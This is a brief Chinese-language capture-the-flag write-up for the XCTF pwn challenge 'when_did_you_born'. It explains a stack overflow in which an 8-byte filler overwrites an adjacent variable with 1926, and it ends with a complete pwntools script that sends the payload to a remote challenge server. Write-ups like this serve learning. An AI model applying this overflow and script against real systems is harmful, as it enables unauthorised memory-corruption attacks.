XCTF when_did_you_born
第一次写博客,写的不好,请多指教。
首先,看ida代码

(当时因为比较简单就没看汇编)
看代码,v4和v5之间只差8字节,利用栈覆盖,用8个数据填充v4,然后把第一次的v5覆盖掉(第一次v5可以是除了1926的任意数,第二次输出v4的时候利用栈覆盖,把原来的v5覆盖成1926)
最后贴出萌新的脚本
from pwn import *
io=remote("220.249.52.133",31846)
io.recvuntil("What's Your Birth?")
io.sendline("1")
payload="1"*8+p32(1926)
io.recvuntil("What's Your Name?")
io.sendline(payload)
io.interactive()
(这种题比较容易,有问题可以私聊)